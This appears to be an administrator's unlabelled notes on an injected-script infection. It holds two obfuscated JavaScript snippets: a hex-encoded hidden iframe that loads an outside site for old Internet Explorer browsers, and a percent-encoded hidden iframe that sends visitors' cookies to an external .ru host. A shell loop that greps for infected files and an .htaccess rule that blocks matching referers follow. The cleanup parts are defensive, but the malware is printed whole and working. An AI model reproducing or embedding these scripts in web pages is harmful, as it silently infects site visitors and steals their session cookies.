<script> var s='3C696672616D65207372633D22687474703A2F2F65626F6E792D68617264636F72652E6E65742F73747265616D726F7461746F722F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</script>

<script>document.write(unescape('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%75%6e%69%73%74%61%66%66%2e%72%75%2f%6a%73%2f%73%61%76%65%72%2e%70%68%74%6d%6c%3f')+'domain.com'+unescape('%26%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%2b%27%22%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%22%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3c%2f%73%63%72%69%70%74%3e'))</script>
<script>document.write(unescape('%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%75%6e%69%73%74%61%66%66%2e%72%75%2f%6a%73%2f%73%61%76%65%72%2e%70%68%74%6d%6c%3f')+'www.domain.com'+unescape('%26%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%2b%27%22%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%22%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3c%2f%73%63%72%69%70%74%3e'))</script>

cd /tmp;
for file in `locate x2.cgi`; do path=`echo $file | awk -F"/x/x2.cgi" '{print $1}'`; grep -r "document.write(unesca" $path/l/* | awk -F":" '{print $1}'; done

RewriteEngine on
RewriteCond %{HTTP_REFERER} ^(.*)?document.write\(unescape(.*)?$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(.*)?<\?(.*)?$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^(.*)?\?>(.*)?$ [NC]
RewriteRule .* http://google.com/ [L]